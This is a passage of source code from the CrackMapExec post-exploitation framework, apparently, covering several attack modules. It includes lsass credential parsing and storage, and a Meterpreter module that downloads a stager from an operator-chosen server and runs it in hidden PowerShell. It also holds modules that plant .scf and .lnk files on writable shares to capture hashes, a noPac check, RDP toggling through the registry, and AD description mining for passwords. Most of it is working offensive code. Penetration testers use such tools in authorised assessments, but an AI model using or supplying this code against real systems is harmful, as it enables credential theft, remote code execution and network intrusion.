67 | context.log.error("Unable to parse lsass dump")
68 | return False
69 | credentials, tickets, masterkeys = parsed
70 |
71 | file.close()
72 | ImpacketFile.delete(session, file.get_file_path())
73 | if credentials is None:
74 | credentials = []
75 | credentials = [cred.get_object() for cred in credentials if cred.ticket is None and cred.masterkey is None and not cred.get_username().endswith("$")]
76 | credentials_unique = []
77 | credentials_output = []
78 | for cred in credentials:
79 | if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
80 | credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
81 | credentials_output.append(cred)
82 | self.process_credentials(context, connection, credentials_output)
83 |
84 | def process_credentials(self, context, connection, credentials):
85 | if len(credentials) == 0:
86 | context.log.info("No credentials found")
87 | credz_bh = []
88 | domain = None
89 | for cred in credentials:
90 | domain = cred["domain"]
91 | if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
92 | domain = connection.domain # slim shady
93 | self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
94 | self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
95 | credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
96 | add_user_bh(credz_bh, domain, context.log, connection.config)
97 |
98 | @staticmethod
99 | def print_credentials(context, domain, username, password, lmhash, nthash):
100 | if password is None:
101 | password = ':'.join(h for h in [lmhash, nthash] if h is not None)
102 | output = "%s\\%s %s" % (domain, username, password)
103 | context.log.highlight(output)
104 |
105 | @staticmethod
106 | def save_credentials(context, connection, domain, username, password, lmhash, nthash):
107 | host_id = context.db.get_computers(connection.host)[0][0]
108 | if password is not None:
109 | credential_type = 'plaintext'
110 | else:
111 | credential_type = 'hash'
112 | password = ':'.join(h for h in [lmhash, nthash] if h is not None)
113 | context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
114 |
--------------------------------------------------------------------------------
/cme/modules/met_inject.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import *
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
7 | Module by @byt3bl33d3r
8 | '''
9 | name = 'met_inject'
10 | description = "Downloads the Meterpreter stager and injects it into memory"
11 | supported_protocols = ['smb', 'mssql']
12 | opsec_safe = True
13 | multiple_hosts = True
14 |
15 | def options(self, context, module_options):
16 | '''
17 | SRVHOST IP hosting of the stager server
18 | SRVPORT Stager port
19 | RAND Random string given by metasploit
20 | SSL Stager server use https or http (default: https)
21 | '''
22 |
23 | self.met_ssl = 'https'
24 |
25 | if not 'SRVHOST' in module_options or not 'SRVPORT' in module_options or not 'RAND' in module_options:
26 | context.log.error('SRVHOST and SRVPORT and RAND options are required!')
27 | exit(1)
28 |
29 | if 'SSL' in module_options:
30 | self.met_ssl = module_options['SSL']
31 |
32 | self.srvhost = module_options['SRVHOST']
33 | self.srvport = module_options['SRVPORT']
34 | self.rand = module_options['RAND']
35 |
36 | def on_admin_login(self, context, connection):
37 | # stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
38 | command = """$url="{}://{}:{}/{}"
39 | $DownloadCradle ='[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};$client = New-Object Net.WebClient;$client.Proxy=[Net.WebRequest]::GetSystemWebProxy();$client.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;Invoke-Expression $client.downloadstring('''+$url+'''");'
40 | $PowershellExe=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\powershell.exe'
41 | if([Environment]::Is64BitProcess) {{ $PowershellExe='powershell.exe'}}
42 | $ProcessInfo = New-Object System.Diagnostics.ProcessStartInfo
43 | $ProcessInfo.FileName=$PowershellExe
44 | $ProcessInfo.Arguments="-nop -c $DownloadCradle"
45 | $ProcessInfo.UseShellExecute = $False
46 | $ProcessInfo.RedirectStandardOutput = $True
47 | $ProcessInfo.CreateNoWindow = $True
48 | $ProcessInfo.WindowStyle = "Hidden"
49 | $Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
50 | 'http' if self.met_ssl == 'http' else 'https',
51 | self.srvhost,
52 | self.srvport,
53 | self.rand)
54 | context.log.debug(command)
55 | connection.ps_execute(command, force_ps32=True)
56 | context.log.success('Executed payload')
57 |
--------------------------------------------------------------------------------
/cme/modules/nopac.py:
--------------------------------------------------------------------------------
1 | # Credit to https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html
2 | # @exploitph @Evi1cg
3 | # module by @mpgn_x64
4 |
5 | from binascii import unhexlify
6 | from impacket.krb5.kerberosv5 import getKerberosTGT
7 | from impacket.krb5 import constants
8 | from impacket.krb5.types import Principal
9 |
10 | class CMEModule:
11 |
12 | name = 'nopac'
13 | description = "Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user"
14 | supported_protocols = ['smb']
15 | opsec_safe = True
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | '''
21 |
22 | def on_login(self, context, connection):
23 |
24 | userName = Principal(connection.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
25 | tgt_with_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
26 | unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
27 | connection.host,requestPAC=True)
28 | context.log.highlight("TGT with PAC size " + str(len(tgt_with_pac)))
29 | tgt_no_pac, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, connection.password, connection.domain,
30 | unhexlify(connection.lmhash), unhexlify(connection.nthash), connection.aesKey,
31 | connection.host,requestPAC=False)
32 | context.log.highlight("TGT without PAC size " + str(len(tgt_no_pac)))
33 | if len(tgt_no_pac) < len(tgt_with_pac):
34 | context.log.highlight("")
35 | context.log.highlight("VULNEABLE")
36 | context.log.highlight("Next step: https://github.com/Ridter/noPac")
--------------------------------------------------------------------------------
/cme/modules/rdp.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 | from sys import exit
5 |
6 | class CMEModule:
7 |
8 | name = 'rdp'
9 | description = 'Enables/Disables RDP'
10 | supported_protocols = ['smb']
11 | opsec_safe = True
12 | multiple_hosts = True
13 |
14 | def options(self, context, module_options):
15 | '''
16 | ACTION Enable/Disable RDP (choices: enable, disable)
17 | '''
18 |
19 | if not 'ACTION' in module_options:
20 | context.log.error('ACTION option not specified!')
21 | exit(1)
22 |
23 | if module_options['ACTION'].lower() not in ['enable', 'disable']:
24 | context.log.error('Invalid value for ACTION option!')
25 | exit(1)
26 |
27 | self.action = module_options['ACTION'].lower()
28 |
29 | def on_admin_login(self, context, connection):
30 | if self.action == 'enable':
31 | self.rdp_enable(context, connection.conn)
32 | elif self.action == 'disable':
33 | self.rdp_disable(context, connection.conn)
34 |
35 | def rdp_enable(self, context, smbconnection):
36 | remoteOps = RemoteOperations(smbconnection, False)
37 | remoteOps.enableRegistry()
38 |
39 | if remoteOps._RemoteOperations__rrp:
40 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
41 | regHandle = ans['phKey']
42 |
43 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
44 | keyHandle = ans['phkResult']
45 |
46 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 0)
47 |
48 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
49 |
50 | if int(data) == 0:
51 | context.log.success('RDP enabled successfully')
52 |
53 | try:
54 | remoteOps.finish()
55 | except:
56 | pass
57 |
58 | def rdp_disable(self, context, smbconnection):
59 | remoteOps = RemoteOperations(smbconnection, False)
60 | remoteOps.enableRegistry()
61 |
62 | if remoteOps._RemoteOperations__rrp:
63 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
64 | regHandle = ans['phKey']
65 |
66 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Terminal Server')
67 | keyHandle = ans['phkResult']
68 |
69 | rrp.hBaseRegSetValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00', rrp.REG_DWORD, 1)
70 |
71 | rtype, data = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'fDenyTSConnections\x00')
72 |
73 | if int(data) == 1:
74 | context.log.success('RDP disabled successfully')
75 |
76 | try:
77 | remoteOps.finish()
78 | except:
79 | pass
80 |
--------------------------------------------------------------------------------
/cme/modules/runasppl.py:
--------------------------------------------------------------------------------
1 | class CMEModule:
2 |
3 | name = 'runasppl'
4 | description = "Check if the registry value RunAsPPL is set or not"
5 | supported_protocols = ['smb']
6 | opsec_safe = True
7 | multiple_hosts = True
8 |
9 | def options(self, context, module_options):
10 | '''
11 | '''
12 |
13 | def on_admin_login(self, context, connection):
14 |
15 | command = 'reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\ /v RunAsPPL'
16 | context.log.info('Executing command')
17 | p = connection.execute(command, True)
18 | context.log.highlight(p)
--------------------------------------------------------------------------------
/cme/modules/scuffy.py:
--------------------------------------------------------------------------------
1 | import os
2 | import ntpath
3 |
4 | from sys import exit
5 |
6 | class CMEModule:
7 | '''
8 | Original idea and PoC by Mubix "Rob" Fuller
9 | URL: https://room362.com/post/2016/smb-http-auth-capture-via-scf/
10 | Module by: @kierangroome
11 | '''
12 |
13 | name = 'scuffy'
14 | description = 'Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares'
15 | supported_protocols = ['smb']
16 | opsec_safe= False
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | SERVER IP of the SMB server
22 | NAME SCF file name
23 | CLEANUP Cleanup (choices: True or False)
24 | '''
25 |
26 | self.cleanup = False
27 |
28 | if 'CLEANUP' in module_options:
29 | self.cleanup = bool(module_options['CLEANUP'])
30 |
31 | if 'NAME' not in module_options:
32 | context.log.error('NAME option is required!')
33 | exit(1)
34 |
35 | if not self.cleanup and 'SERVER' not in module_options:
36 | context.log.error('SERVER option is required!')
37 | exit(1)
38 |
39 | self.scf_name = module_options['NAME']
40 | self.scf_path = '/tmp/{}.scf'.format(self.scf_name)
41 | self.file_path = ntpath.join('\\', '{}.scf'.format(self.scf_name))
42 |
43 | if not self.cleanup:
44 | self.server = module_options['SERVER']
45 | scuf = open(self.scf_path, 'a');
46 | scuf.write("[Shell]" + '\n');
47 | scuf.write("Command=2" + '\n');
48 | scuf.write("IconFile=" + '\\\\{}\\share\\icon.ico'.format(self.server) + '\n');
49 | scuf.close();
50 |
51 | def on_login(self, context, connection):
52 | shares = connection.shares()
53 | for share in shares:
54 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
55 | #print share
56 | context.log.success('Found writable share: {}'.format(share['name']))
57 | if not self.cleanup:
58 | with open(self.scf_path, 'rb') as scf:
59 | try:
60 | connection.conn.putFile(share['name'], self.file_path, scf.read)
61 | context.log.success('Created SCF file on the {} share'.format(share['name']))
62 | except Exception as e:
63 | context.log.error('Error writing SCF file to share {}: {}'.format(share['name']))
64 | else:
65 | try:
66 | connection.conn.deleteFile(share['name'], self.file_path)
67 | context.log.success('Deleted SCF file on the {} share'.format(share['name']))
68 | except Exception as e:
69 | context.log.error('Error deleting SCF file on share {}: {}'.format(share['name'], e))
70 |
--------------------------------------------------------------------------------
/cme/modules/slinky.py:
--------------------------------------------------------------------------------
1 | import pylnk3
2 | import os
3 | import ntpath
4 | from sys import exit
5 |
6 | class CMEModule:
7 | '''
8 | Original idea and PoC by Justin Angel (@4rch4ngel86)
9 | Module by @byt3bl33d3r
10 | '''
11 |
12 | name = 'slinky'
13 | description = 'Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions'
14 | supported_protocols = ['smb']
15 | opsec_safe= False
16 | multiple_hosts = True
17 |
18 | def options(self, context, module_options):
19 | '''
20 | SERVER IP of the SMB server
21 | NAME LNK file name
22 | CLEANUP Cleanup (choices: True or False)
23 | '''
24 |
25 | self.cleanup = False
26 |
27 | if 'CLEANUP' in module_options:
28 | self.cleanup = bool(module_options['CLEANUP'])
29 |
30 | if 'NAME' not in module_options:
31 | context.log.error('NAME option is required!')
32 | exit(1)
33 |
34 | if not self.cleanup and 'SERVER' not in module_options:
35 | context.log.error('SERVER option is required!')
36 | exit(1)
37 |
38 | self.lnk_name = module_options['NAME']
39 | self.lnk_path = '/tmp/{}.lnk'.format(self.lnk_name)
40 | self.file_path = ntpath.join('\\', '{}.lnk'.format(self.lnk_name))
41 |
42 | if not self.cleanup:
43 | self.server = module_options['SERVER']
44 | link = pylnk3.create(self.lnk_path)
45 | link.icon = '\\\\{}\\icons\\icon.ico'.format(self.server)
46 | link.save()
47 |
48 | def on_login(self, context, connection):
49 | shares = connection.shares()
50 | for share in shares:
51 | if 'WRITE' in share['access'] and share['name'] not in ['C$', 'ADMIN$']:
52 | context.log.success('Found writable share: {}'.format(share['name']))
53 | if not self.cleanup:
54 | with open(self.lnk_path, 'rb') as lnk:
55 | try:
56 | connection.conn.putFile(share['name'], self.file_path, lnk.read)
57 | context.log.success('Created LNK file on the {} share'.format(share['name']))
58 | except Exception as e:
59 | context.log.error('Error writing LNK file to share {}: {}'.format(share['name'], e))
60 | else:
61 | try:
62 | connection.conn.deleteFile(share['name'], self.file_path)
63 | context.log.success('Deleted LNK file on the {} share'.format(share['name']))
64 | except Exception as e:
65 | context.log.error('Error deleting LNK file on share {}: {}'.format(share['name'], e))
66 |
--------------------------------------------------------------------------------
/cme/modules/spooler.py:
--------------------------------------------------------------------------------
1 | # https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py
2 | from impacket.examples import logger
3 | from impacket import uuid, version
4 | from impacket.dcerpc.v5 import transport, epm
5 | from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \
6 | RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \
7 | RPC_PROXY_RPC_OUT_DATA_404_ERR
8 |
9 | KNOWN_PROTOCOLS = {
10 | 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'},
11 | 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'},
12 | }
13 |
14 | class CMEModule:
15 | '''
16 | For printnightmare: detect if print spooler is enabled or not. Then use @cube0x0's project https://github.com/cube0x0/CVE-2021-1675 or Mimikatz from Benjamin Delpy
17 | Module by @mpgn_x64
18 |
19 | '''
20 | name = 'spooler'
21 | description = 'Detect if print spooler is enabled or not'
22 | supported_protocols = ['smb']
23 | opsec_safe= True
24 | multiple_hosts = True
25 |
26 | def options(self, context, module_options):
27 | self.port = 135
28 | if 'PORT' in module_options:
29 | self.port = int(module_options['PORT'])
30 |
31 | def on_login(self, context, connection):
32 |
33 | entries = []
34 | lmhash = getattr(connection, "lmhash", "")
35 | nthash = getattr(connection, "nthash", "")
36 |
37 | self.__stringbinding = KNOWN_PROTOCOLS[self.port]['bindstr'] % connection.host
38 | logging.debug('StringBinding %s' % self.__stringbinding)
39 | rpctransport = transport.DCERPCTransportFactory(self.__stringbinding)
40 | rpctransport.set_credentials(connection.username, connection.password, connection.domain, lmhash, nthash)
41 | rpctransport.setRemoteHost(connection.host)
42 | rpctransport.set_dport(self.port)
43 |
44 | try:
45 | entries = self.__fetchList(rpctransport)
46 | except Exception as e:
47 | error_text = 'Protocol failed: %s' % e
48 | logging.critical(error_text)
49 |
50 | if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \
51 | RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \
52 | RPC_PROXY_CONN_A1_404_ERR in error_text or \
53 | RPC_PROXY_CONN_A1_0X6BA_ERR in error_text:
54 | logging.critical("This usually means the target does not allow "
55 | "to connect to its epmapper using RpcProxy.")
56 | return
57 |
58 | # Display results.
59 | endpoints = {}
60 | # Let's groups the UUIDS
61 | for entry in entries:
62 | binding = epm.PrintStringBinding(entry['tower']['Floors'])
63 | tmpUUID = str(entry['tower']['Floors'][0])
64 | if (tmpUUID in endpoints) is not True:
65 | endpoints[tmpUUID] = {}
66 | endpoints[tmpUUID]['Bindings'] = list()
67 | if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS:
68 | endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]]
69 | else:
70 | endpoints[tmpUUID]['EXE'] = 'N/A'
71 | endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8')
72 | endpoints[tmpUUID]['Bindings'].append(binding)
73 |
74 | if tmpUUID[:36] in epm.KNOWN_PROTOCOLS:
75 | endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]]
76 | else:
77 | endpoints[tmpUUID]['Protocol'] = "N/A"
78 |
79 | for endpoint in list(endpoints.keys()):
80 | if "MS-RPRN" in endpoints[endpoint]['Protocol']:
81 | logging.debug("Protocol: %s " % endpoints[endpoint]['Protocol'])
82 | logging.debug("Provider: %s " % endpoints[endpoint]['EXE'])
83 | logging.debug("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation']))
84 | logging.debug("Bindings: ")
85 | for binding in endpoints[endpoint]['Bindings']:
86 | logging.debug(" %s" % binding)
87 | logging.debug("")
88 | context.log.highlight('Spooler service enabled')
89 | break
90 |
91 | if entries:
92 | num = len(entries)
93 | if 1 == num:
94 | logging.info('Received one endpoint.')
95 | else:
96 | logging.info('Received %d endpoints.' % num)
97 | else:
98 | logging.info('No endpoints found.')
99 |
100 |
101 | def __fetchList(self, rpctransport):
102 | dce = rpctransport.get_dce_rpc()
103 | dce.connect()
104 | resp = epm.hept_lookup(None, dce=dce)
105 | dce.disconnect()
106 | return resp
107 |
108 |
--------------------------------------------------------------------------------
/cme/modules/subnets.py:
--------------------------------------------------------------------------------
1 | from impacket.ldap import ldapasn1 as ldapasn1_impacket
2 |
3 | def searchResEntry_to_dict(results):
4 | data = {}
5 | for attr in results['attributes']:
6 | key = str(attr['type'])
7 | value = str(attr['vals'][0])
8 | data[key] = value
9 | return data
10 |
11 | class CMEModule:
12 | '''
13 | Retrieves the different Sites and Subnets of an Active Directory
14 |
15 | Authors:
16 | Podalirius: @podalirius_
17 | '''
18 |
19 | def options(self, context, module_options):
20 | """
21 | showservers Toggle printing of servers (default: true)
22 | """
23 |
24 | self.showservers = True
25 |
26 | if module_options and 'SHOWSERVERS' in module_options:
27 | if module_options['SHOWSERVERS'].lower() == "true" or module_options['SHOWSERVERS'] == "1":
28 | self.showservers = True
29 | elif module_options['SHOWSERVERS'].lower() == "false" or module_options['SHOWSERVERS'] == "0":
30 | self.showservers = False
31 | else:
32 | print("Could not parse showservers option.")
33 |
34 | name = 'subnets'
35 | description = 'Retrieves the different Sites and Subnets of an Active Directory'
36 | supported_protocols = ['ldap']
37 | opsec_safe = True
38 | multiple_hosts = False
39 |
40 | def on_login(self, context, connection):
41 | dn = ','.join(["DC=%s" % part for part in connection.domain.split('.')])
42 |
43 | context.log.info('Getting the Sites and Subnets from domain')
44 |
45 | list_sites = connection.ldapConnection.search(
46 | searchBase="CN=Configuration,%s" % dn,
47 | searchFilter='(objectClass=site)',
48 | attributes=['distinguishedName', 'name', 'description'],
49 | sizeLimit=999
50 | )
51 | for site in list_sites:
52 | if isinstance(site, ldapasn1_impacket.SearchResultEntry) is not True:
53 | continue
54 | site = searchResEntry_to_dict(site)
55 | site_dn = site['distinguishedName']
56 | site_name = site['name']
57 | site_description = ""
58 | if "description" in site.keys():
59 | site_description = site['description']
60 | # Getting subnets of this site
61 | list_subnets = connection.ldapConnection.search(
62 | searchBase="CN=Sites,CN=Configuration,%s" % dn,
63 | searchFilter='(siteObject=%s)' % site_dn,
64 | attributes=['distinguishedName', 'name'],
65 | sizeLimit=999
66 | )
67 | if len([subnet for subnet in list_subnets if isinstance(subnet, ldapasn1_impacket.SearchResultEntry)]) == 0:
68 | context.log.highlight("Site \"%s\"" % site_name)
69 | else:
70 | for subnet in list_subnets:
71 | if isinstance(subnet, ldapasn1_impacket.SearchResultEntry) is not True:
72 | continue
73 | subnet = searchResEntry_to_dict(subnet)
74 | subnet_dn = subnet['distinguishedName']
75 | subnet_name = subnet['name']
76 |
77 | if self.showservers:
78 | # Getting machines in these subnets
79 | list_servers = connection.ldapConnection.search(
80 | searchBase=site_dn,
81 | searchFilter='(objectClass=server)',
82 | attributes=['cn'],
83 | sizeLimit=999
84 | )
85 | if len([server for server in list_servers if isinstance(server, ldapasn1_impacket.SearchResultEntry)]) == 0:
86 | if len(site_description) != 0:
87 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
88 | else:
89 | context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
90 | else:
91 | for server in list_servers:
92 | if isinstance(server, ldapasn1_impacket.SearchResultEntry) is not True:
93 | continue
94 | server = searchResEntry_to_dict(server)['cn']
95 | if len(site_description) != 0:
96 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\") (Server:%s)" % (site_name, subnet_name, site_description, server))
97 | else:
98 | context.log.highlight("Site \"%s\" (Subnet:%s) (Server:%s)" % (site_name, subnet_name, server))
99 | else:
100 | if len(site_description) != 0:
101 | context.log.highlight("Site \"%s\" (Subnet:%s) (description:\"%s\")" % (site_name, subnet_name, site_description))
102 | else:
103 | context.log.highlight("Site \"%s\" (Subnet:%s)" % (site_name, subnet_name))
104 |
--------------------------------------------------------------------------------
/cme/modules/test_connection.py:
--------------------------------------------------------------------------------
1 | from cme.helpers.powershell import create_ps_command
2 | from sys import exit
3 |
4 | class CMEModule:
5 | '''
6 | Executes the Test-Connection PowerShell cmdlet
7 | Module by @byt3bl33d3r
8 | '''
9 |
10 | name = 'test_connection'
11 | description = "Pings a host"
12 | supported_protocols = ['smb', 'mssql']
13 | opsec_safe = True
14 | multiple_hosts = True
15 |
16 | def options(self, context, module_options):
17 | '''
18 | HOST Host to ping
19 | '''
20 | self.host = None
21 |
22 | if 'HOST' not in module_options:
23 | context.log.error('HOST option is required!')
24 | exit(1)
25 |
26 | self.host = module_options['HOST']
27 |
28 | def on_admin_login(self, context, connection):
29 | command = 'Test-Connection {} -quiet -count 1'.format(self.host)
30 |
31 | output = connection.ps_execute(command, get_output=True)
32 |
33 | if output:
34 | output = output.strip()
35 | if bool(output) is True:
36 | context.log.success('Pinged successfully')
37 | elif bool(output) is False:
38 | context.log.error('Host unreachable')
39 |
--------------------------------------------------------------------------------
/cme/modules/uac.py:
--------------------------------------------------------------------------------
1 | from impacket.dcerpc.v5.rpcrt import DCERPCException
2 | from impacket.dcerpc.v5 import rrp
3 | from impacket.examples.secretsdump import RemoteOperations
4 |
5 | class CMEModule:
6 |
7 | name = 'uac'
8 | description = "Checks UAC status"
9 | supported_protocols = ['smb']
10 | opsec_safe = True
11 | multiple_hosts = True
12 |
13 | def options(self, context, module_options):
14 | '''
15 | '''
16 |
17 | def on_admin_login(self, context, connection):
18 | remoteOps = RemoteOperations(connection.conn, False)
19 | remoteOps.enableRegistry()
20 |
21 | ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
22 | regHandle = ans['phKey']
23 | ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
24 | keyHandle = ans['phkResult']
25 | dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
26 |
27 | if uac_value == 1:
28 | context.log.highlight('UAC Status: 1 (UAC Enabled)')
29 | elif uac_value == 0:
30 | context.log.highlight('UAC Status: 0 (UAC Disabled)')
31 |
32 | rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
33 | remoteOps.finish()
34 |
--------------------------------------------------------------------------------
/cme/modules/user_description.py:
--------------------------------------------------------------------------------
1 | from pathlib import Path
2 | from datetime import datetime
3 | from impacket.ldap import ldap, ldapasn1
4 | from impacket.ldap.ldap import LDAPSearchError
5 |
6 |
7 | class CMEModule:
8 | '''
9 | Get user descriptions stored in Active Directory.
10 |
11 | Module by Tobias Neitzel (@qtc_de)
12 | '''
13 | name = 'user-desc'
14 | description = 'Get user descriptions stored in Active Directory'
15 | supported_protocols = ['ldap']
16 | opsec_safe = True
17 | multiple_hosts = True
18 |
19 | def options(self, context, module_options):
20 | '''
21 | LDAP_FILTER Custom LDAP search filter (fully replaces the default search)
22 | DESC_FILTER An additional seach filter for descriptions (supports wildcard *)
23 | DESC_INVERT An additional seach filter for descriptions (shows non matching)
24 | USER_FILTER An additional seach filter for usernames (supports wildcard *)
25 | USER_INVERT An additional seach filter for usernames (shows non matching)
26 | KEYWORDS Use a custom set of keywords (comma separated)
27 | ADD_KEYWORDS Add additional keywords to the default set (comma separated)
28 | '''
29 | self.log_file = None
30 | self.desc_count = 0
31 | self.context = context
32 | self.account_names = set()
33 | self.keywords = {'pass', 'creds', 'creden', 'key', 'secret', 'default'}
34 |
35 | if 'LDAP_FILTER' in module_options:
36 | self.search_filter = module_options['LDAP_FILTER']
37 |
38 | else:
39 | self.search_filter = '(&(objectclass=user)'
40 |
41 | if 'DESC_FILTER' in module_options:
42 | self.search_filter += '(description={})'.format(module_options['DESC_FILTER'])
43 |
44 | if 'DESC_INVERT' in module_options:
45 | self.search_filter += '(!(description={}))'.format(module_options['DESC_INVERT'])
46 |
47 | if 'USER_FILTER' in module_options:
48 | self.search_filter += '(sAMAccountName={})'.format(module_options['USER_FILTER'])
49 |
50 | if 'USER_INVERT' in module_options:
51 | self.search_filter += '(!(sAMAccountName={}))'.format(module_options['USER_INVERT'])
52 |
53 | self.search_filter += ')'
54 |
55 | if 'KEYWORDS' in module_options:
56 | self.keywords = set(module_options['KEYWORDS'].split(','))
57 |
58 | elif 'ADD_KEYWORDS' in module_options:
59 | add_keywords = set(module_options['ADD_KEYWORDS'].split(','))
60 | self.keywords = self.keywords.union(add_keywords)
61 |
62 | def __del__(self):
63 | '''
64 | Destructor - closes the log file.
65 | '''
66 | try:
67 | self.log_file.close()
68 |
69 | info = 'Saved {} user descriptions to {}'.format(self.desc_count, self.log_file.name)
70 | self.context.log.highlight(info)
71 |
72 | except AttributeError:
73 | pass
74 |
75 | def on_login(self, context, connection):
76 | '''
77 | On successful LDAP login we perform a search for all user objects that have a description.
78 | Users can specify additional LDAP filters that are applied to the query.
79 | '''
80 | self.create_log_file(connection.conn.getRemoteHost(), datetime.now().strftime("%Y%m%d_%H%M%S"))
81 | context.log.debug("Starting LDAP search with search filter '{}'".format(self.search_filter))
82 |
83 | try:
84 | sc = ldap.SimplePagedResultsControl()
85 | connection.ldapConnection.search(searchFilter=self.search_filter,
86 | attributes=['sAMAccountName', 'description'],
87 | sizeLimit=0, searchControls=[sc],
88 | perRecordCallback=self.process_record)
89 |
90 | except LDAPSearchError as e:
91 | context.log.error('Obtained unexpected exception: {}'.format(str(e)))
92 |
93 | def create_log_file(self, host, time):
94 | '''
95 | Create a log file for dumping user descriptions.
96 | '''
97 | logfile = 'UserDesc-{}-{}.log'.format(host, time)
98 | logfile = Path.home().joinpath('.cme').joinpath('logs').joinpath(logfile)
99 |
100 | self.context.log.debug("Creating log file '{}'".format(logfile))
101 |
102 | self.log_file = open(logfile, 'w')
103 | self.append_to_log("User:", "Description:")
104 |
105 | def append_to_log(self, user, description):
106 | '''
107 | Append a new entry to the log file. Helper function that is only used to have an
108 | unified padding on the user field.
109 | '''
110 | print(user.ljust(25), description, file=self.log_file)
111 |
112 | def process_record(self, item):
113 | '''
114 | Function that is called to process the items obtained by the LDAP search. All items are
115 | written to the log file per default. Items that contain one of the keywords configured
116 | within this module are also printed to stdout.
117 |
118 | On large Active Directories there seems to be a problem with duplicate user entries. For
119 | some reason the process_record function is called multiple times with the same user entry.
120 | Not sure whether this is a fault by this module or by impacket. As a workaround, this
121 | function adds each new account name to a set and skips accounts that have already been added.
122 | '''
123 | if not isinstance(item, ldapasn1.SearchResultEntry):
124 | return
125 |
126 | sAMAccountName = ''
127 | description = ''
128 |
129 | try:
130 |
131 | for attribute in item['attributes']:
132 |
133 | if str(attribute['type']) == 'sAMAccountName':
134 | sAMAccountName = attribute['vals'][0].asOctets().decode('utf-8')
135 |
136 | elif str(attribute['type']) == 'description':
137 | description = attribute['vals'][0].asOctets().decode('utf-8')
138 |
139 | except Exception as e:
140 |
141 | entry = sAMAccountName or 'item'
142 | self.context.error("Skipping {}, cannot process LDAP entry due to error: '{}'".format(entry, str(e)))
143 |
144 | if description and sAMAccountName not in self.account_names:
145 |
146 | self.desc_count += 1
147 | self.append_to_log(sAMAccountName, description)
148 |
149 | if self.highlight(description):
150 | self.context.log.highlight('User: {} - Description: {}'.format(sAMAccountName, description))
151 |
152 | self.account_names.add(sAMAccountName)
153 |
154 | def highlight(self, description):
155 | '''
156 | Check for interesting entries. Just checks whether certain keywords are contained within the
157 | user description. Keywords are configured at the top of this class within the options function.
158 |
159 | It is tempting to implement more logic here (e.g. catch all strings that are longer than seven
